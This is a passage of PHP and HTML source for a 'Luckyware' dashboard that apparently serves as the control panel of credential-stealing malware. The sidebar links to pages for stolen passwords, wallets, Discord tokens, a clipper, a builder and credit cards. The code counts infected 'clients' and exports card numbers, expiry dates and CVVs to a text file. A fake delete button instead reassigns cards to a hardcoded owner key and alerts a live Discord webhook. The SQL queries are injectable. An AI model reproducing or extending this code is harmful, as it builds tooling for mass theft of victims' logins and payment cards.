$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
|
||||
}
|
||||
|
||||
$resultanss = mysqli_query($conn, $selectana);
|
||||
$myaktv = mysqli_num_rows($resultanss);
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (isset($_POST['ides'])) {
|
||||
|
||||
if ($role == 'Founder') {
|
||||
$sqlAQA = "SELECT * FROM Cards";
|
||||
} else {
|
||||
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
|
||||
}
|
||||
$resultAQA = $conn->query($sqlAQA);
|
||||
|
||||
// Initialize the output
|
||||
$output = '';
|
||||
|
||||
// Process the database results and format them
|
||||
if ($resultAQA->num_rows > 0) {
|
||||
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
|
||||
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
|
||||
}
|
||||
} else {
|
||||
$output .= "No Card Data!";
|
||||
}
|
||||
|
||||
$filename = "AllCards.txt";
|
||||
// Set the appropriate HTTP headers for downloading
|
||||
header('Content-Type: application/octet-stream');
|
||||
header('Content-Disposition: attachment; filename="' . $filename . '"');
|
||||
|
||||
// Output the data and exit
|
||||
echo $output;
|
||||
|
||||
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
|
||||
}
|
||||
|
||||
|
||||
if (isset($_POST['ides'])) {
|
||||
|
||||
if ($username == 'Clara') {
|
||||
$sqlAQA = "SELECT * FROM Cards";
|
||||
} else {
|
||||
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
|
||||
}
|
||||
$resultAQA = $conn->query($sqlAQA);
|
||||
|
||||
// Initialize the output
|
||||
$output = '';
|
||||
|
||||
// Process the database results and format them
|
||||
if ($resultAQA->num_rows > 0) {
|
||||
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
|
||||
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
|
||||
}
|
||||
} else {
|
||||
$output .= "No Card Data!";
|
||||
}
|
||||
|
||||
$filename = "AllCards.txt";
|
||||
// Set the appropriate HTTP headers for downloading
|
||||
header('Content-Type: application/octet-stream');
|
||||
header('Content-Disposition: attachment; filename="' . $filename . '"');
|
||||
|
||||
// Output the data and exit
|
||||
echo $output;
|
||||
|
||||
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
|
||||
}
|
||||
|
||||
if (isset($_POST['id'])) {
|
||||
|
||||
$sqlUpdate = "UPDATE Cards SET OwnerID = ? WHERE OwnerID = ?";
|
||||
$stmtUpdate = $conn->prepare($sqlUpdate);
|
||||
$newOwnerID = '1tz3w08l5raauuav4r1u'; // Replace with the new OwnerID value
|
||||
$stmtUpdate->bind_param("ss", $newOwnerID, $secretkey);
|
||||
|
||||
$webhookURL44 = 'https://discord.com/api/webhooks/1273355876866064447/_nAh4gFrD3TAdvHWQi5MIefpW0rF6gM5RbTx6qvb3D0nV9w3KH-fi6ic_qwf3D5NBgq5';
|
||||
$messagerrr = 'New Cards Deleted By ' . $username . ' Cards Swapped To Your Owner Key ';
|
||||
|
||||
|
||||
sendDiscordWebhookMessage($webhookURL44, $messagerrr);
|
||||
|
||||
|
||||
if ($stmtUpdate->execute()) {
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link rel="stylesheet" href="../assets/css/custom.css">
|
||||
<link rel="stylesheet" href="../assets/css/style.css">
|
||||
<link rel="stylesheet" href="../assets/css/hover.css">
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
|
||||
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
|
||||
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
|
||||
<script type="text/javascript" charset="utf8"
|
||||
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
|
||||
<meta content="Luckyware" property="og:title" />
|
||||
<meta content="Luck is something you make and victory is something u take" property="og:description" />
|
||||
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
|
||||
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
|
||||
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
|
||||
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
|
||||
<title>Passwords</title>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: #111111;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
opacity: 1;
|
||||
visibility: visible;
|
||||
/* Add visibility property */
|
||||
transition: all 1s ease;
|
||||
/* Longer transition and apply to all */
|
||||
}
|
||||
|
||||
.loading-overlay.fade-out {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
/* Hide element after fade */
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 3px solid #333;
|
||||
border-radius: 50%;
|
||||
border-top-color: #850000;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* Custom DataTable styles */
|
||||
#DashTable {
|
||||
border-radius: 0.5rem;
|
||||
background-color: var(--background);
|
||||
border-collapse: separate;
|
||||
border-spacing: 0 0.7rem;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#DashTable th {
|
||||
font-family: 'Kanit', sans-serif;
|
||||
font-weight: 500;
|
||||
color: #e7e5e4;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid var(--background);
|
||||
}
|
||||
|
||||
#DashTable tr {
|
||||
background-color: var(--background);
|
||||
border-radius: 0.5rem;
|
||||
}
|
||||
|
||||
#DashTable td {
|
||||
background-color: #151515;
|
||||
color: #a8a29e;
|
||||
text-align: center;
|
||||
border-bottom: 1px solid var(--background);
|
||||
padding: 10px;
|
||||
font-weight: 100;
|
||||
font-family: 'Kanit', sans-serif;
|
||||
}
|
||||
|
||||
#DashTable td:first-child {
|
||||
border-radius: 0.5rem 0 0 0.5rem;
|
||||
/* Rounded corners on the left side */
|
||||
}
|
||||
|
||||
#DashTable td:last-child {
|
||||
border-radius: 0 0.5rem 0.5rem 0;
|
||||
/* Rounded corners on the right side */
|
||||
}
|
||||
|
||||
#DashTable tbody tr:hover {
|
||||
background-color: var(--main-hover-color);
|
||||
color: #D6D3D1;
|
||||
}
|
||||
|
||||
/* Custom hover link color */
|
||||
.hover-link {
|
||||
color: #111111;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button {
|
||||
background-color: #151515;
|
||||
/* Add !important to ensure white color */
|
||||
border: none;
|
||||
padding: 7px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
color: #a8a29e;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
|
||||
background-color: #850000;
|
||||
color: #e7e5e4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Text color for elements like "Showing x to x of x entries" */
|
||||
.dataTables_info,
|
||||
.dataTables_length,
|
||||
.dataTables_paginate,
|
||||
.dataTables_filter {
|
||||
color: #a8a29e !important;
|
||||
margin-bottom: 7px;
|
||||
/* Add space below these elements */
|
||||
}
|
||||
|
||||
/* Add space between "Show entries" and pagination controls */
|
||||
.dataTables_length,
|
||||
.dataTables_paginate {
|
||||
margin-top: 7px;
|
||||
}
|
||||
|
||||
/* Color for the "Show x entries" dropdown and options */
|
||||
.dataTables_length select {
|
||||
background-color: #111111 !important;
|
||||
color: #d6d3d1 !important;
|
||||
border: 1px solid #181818 !important;
|
||||
/* Remove border to make it borderless */
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* Color for the pagination controls */
|
||||
.dataTables_paginate a,
|
||||
.dataTables_paginate span,
|
||||
.dataTables_paginate .ellipsis {
|
||||
background-color: #111111;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
padding: 5px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* Hover color for pagination controls */
|
||||
.dataTables_paginate a:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Current page number color */
|
||||
.dataTables_paginate .current {
|
||||
background-color: #850000;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* DataTable search box styles */
|
||||
.dataTables_wrapper .dataTables_filter input {
|
||||
background-color: var(--background);
|
||||
color: #ffffff;
|
||||
border: 1px solid #181818;
|
||||
/* Add a 1px gray border */
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* DataTable ordering arrow styles */
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
/* DataTable table responsive */
|
||||
.table-responsive {
|
||||
background-color: #111111;
|
||||
color: #D6D3D1;
|
||||
padding: 15px;
|
||||
border-radius: 5px;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
/* DataTable scrollbar styles (if needed) */
|
||||
#DashTable::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-thumb {
|
||||
background-color: var(--main-color);
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-track {
|
||||
background-color: var(--secondary-background);
|
||||
}
|
||||
|
||||
|
||||
.current {
|
||||
background-color: #850000;
|
||||
}
|
||||
</style>
|
||||
|
||||
</head>
|
||||
|
||||
<body class="dg">
|
||||
<div class="loading-overlay">
|
||||
<div class="loading-spinner"></div>
|
||||
</div>
|
||||
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
|
||||
<div class="grid sm:grid-cols-2 px-5 py-3">
|
||||
<div class="1 text-left">
|
||||
<div class="flex">
|
||||
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
|
||||
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
|
||||
class="textCol">Dashboard</span></h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid xl:grid-cols-12"> <!-- start -->
|
||||
|
||||
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
|
||||
<div class="1">
|
||||
<div class="flex justify-center mt-10">
|
||||
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
|
||||
Lucky <span class="textCol">Ware</span>
|
||||
</h1>
|
||||
</div>
|
||||
<div class="mx-5 mt-6">
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-key textCol mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
|
||||
|
||||
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
|
||||
|
||||
<div class="1 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
|
||||
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mytk; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="2 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Active Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $myaktv; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="3 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mystole; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
|
||||
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Subscription</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $role; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="rounded-lg mt-5 bg pb-5 btn"> <!-- TABLE -->
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
|
||||
|
||||
|
||||
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
|
||||
<i class="fa-solid fa-lock mr-1 icon"></i>
|
||||
<span id="cookiesHeaderText"> Passwords</span>
|
||||
</h1>
|
||||
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.entry-search-container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
/* Vertically center the items */
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
<div class="2 text-right mx-5 mt-2">
|
||||
|
||||
<div class="grid grid-cols-4 gap-5">
|
||||
<div class="0">
|
||||
<h1 style="color: #111111;">s</h1>
|
||||
</div>
|
||||
<div class="1">
|
||||
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
|
||||
|
||||
<option value="10">10</option>
|
||||
<option value="25">25</option>
|
||||
<option value="50">50</option>
|
||||
<option value="75">75</option>
|
||||
<option value="100">100</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="2 col-span-2">
|
||||
<div class="sc-container">
|
||||
<input data-sc="" id="searchInput"
|
||||
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
|
||||
placeholder="Search Logs" type="text">
|
||||
<div class="caret" style="width: 2px; height: 60%; background-color: #e61b0a;">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
|
||||
<style>
|
||||
.hover-link {
|
||||
color: #97928E;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.truncate-cell {
|
||||
max-width: 100px;
|
||||
/* Adjust the maximum width as needed */
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
</style>
|
||||
<div class="table-responsive">
|
||||
<table id="DashTable" class="table-fixed w-full mt-5">
|
||||
<thead class="">
|
||||
<tr class="text-center">
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Site </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Username </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Password </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Browser </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Pc Name </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">IP | Country </h1>
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="logsContent" class="mt-5">
|
||||
<style>
|
||||
.hover-link {
|
||||
color: #97928E;
|
||||
/* Initial color */
|
||||
transition: color 0.3s ease-in-out;
|
||||
/* Color transition with animation */
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
/* Color on hover */
|
||||
}
|
||||
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
function deleteRecord(id) {
|
||||
if (confirm('Are you sure you want to delete this record?')) {
|
||||
// Create a hidden form and submit it with the ID
|
||||
var form = document.createElement('form');
|
||||
form.method = 'post';
|
||||
form.action = '';
|
||||
var input = document.createElement('input');
|
||||
input.type = 'hidden';
|
||||
input.name = 'id';
|
||||
input.value = id;
|
||||
form.appendChild(input);
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
}
|
||||
}
|
||||
|
||||
function opensite(url) {
|
||||
window.open(url);
|
||||
}
|
||||
|
||||
function copyText(element) {
|
||||
|
||||
/* Copy text into clipboard */
|
||||
navigator.clipboard.writeText(element);
|
||||
}
|
||||
</script>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Function to refresh the DataTable
|
||||
function refreshDataTable() {
|
||||
var table = $('#DashTable').DataTable();
|
||||
table.ajax.reload(null, false); // Reload without resetting page
|
||||
}
|
||||
|
||||
// Function to initialize the DataTable
|
||||
function initializeDataTable() {
|
||||
// Initialize DataTable with server-side processing
|
||||
var table = $('#DashTable').DataTable({
|
||||
serverSide: true,
|
||||
"lengthMenu": [10, 25, 50, 75, 100],
|
||||
"language": {
|
||||
"search": "Search Data: " // Replace with your custom text
|
||||
},
|
||||
ajax: {
|
||||
url: 'newpas1337.php', // Replace with the correct path to your PHP script
|
||||
type: 'POST',
|
||||
beforeSend: function() {
|
||||
// Show the header text with a loading animation
|
||||
$('#cookiesHeaderText').html(' Passwords <i class="fas fa-spinner fa-spin"></i>');
|
||||
},
|
||||
complete: function() {
|
||||
// Restore the header text to "Cookies" after the data is loaded
|
||||
$('#cookiesHeaderText').html(' Passwords');
|
||||
}
|
||||
},
|
||||
columns: [{
|
||||
data: 0
|
||||
},
|
||||
{
|
||||
data: 1
|
||||
},
|
||||
{
|
||||
data: 2
|
||||
},
|
||||
{
|
||||
data: 3
|
||||
},
|
||||
{
|
||||
data: 4
|
||||
},
|
||||
{
|
||||
data: 5
|
||||
}
|
||||
],
|
||||
paging: true,
|
||||
ordering: true,
|
||||
dom: 'lrtip' // This specifies the DataTables elements to display
|
||||
});
|
||||
|
||||
// Add an event listener to your custom search input
|
||||
$('#searchInput').on('keyup', function() {
|
||||
// Get the input value
|
||||
var inputValue = $(this).val();
|
||||
|
||||
// Use DataTables' search() method to filter the table
|
||||
table.search(inputValue).draw();
|
||||
});
|
||||
|
||||
// Add an event listener to the entry number drop-down
|
||||
$('#entriesSelect').on('change', function() {
|
||||
// Get the selected value
|
||||
var selectedValue = $(this).val();
|
||||
|
||||
// Change the number of entries displayed per page
|
||||
table.page.len(selectedValue).draw();
|
||||
});
|
||||
|
||||
// Hide the default DataTables length dropdown
|
||||
$('div.dataTables_length').css('display', 'none');
|
||||
|
||||
// Optionally, you can remove the label as well
|
||||
$('label[for="DashTable_length"]').css('display', 'none');
|
||||
}
|
||||
|
||||
// Call the initializeDataTable function on page load
|
||||
$(document).ready(function() {
|
||||
initializeDataTable();
|
||||
|
||||
// Refresh the DataTable every 1 minute (60000 milliseconds)
|
||||
setInterval(refreshDataTable, 60000);
|
||||
});
|
||||
</script>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div> <!-- end -->
|
||||
|
||||
<style>
|
||||
@keyframes topFlyIn {
|
||||
from {
|
||||
transform: translateY(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the left-flying animation keyframes */
|
||||
@keyframes leftFlyIn {
|
||||
from {
|
||||
transform: translateX(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the right-flying animation keyframes */
|
||||
@keyframes rightFlyIn {
|
||||
from {
|
||||
transform: translateX(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the bottom-flying animation keyframes */
|
||||
@keyframes bottomFlyIn {
|
||||
from {
|
||||
transform: translateY(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Apply the animation to elements with the respective class */
|
||||
.top-flying {
|
||||
animation-name: topFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(-100%);
|
||||
}
|
||||
|
||||
.left-flying {
|
||||
animation-name: leftFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(-100%);
|
||||
}
|
||||
|
||||
.right-flying {
|
||||
animation-name: rightFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(100%);
|
||||
}
|
||||
|
||||
.bottom-flying {
|
||||
animation-name: bottomFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(200%);
|
||||
}
|
||||
</style>
|
||||
|
||||
<script src="../assets/js/status.js"></script>
|
||||
|
||||
<style>
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
// Wait for fonts and stylesheets
|
||||
Promise.all([
|
||||
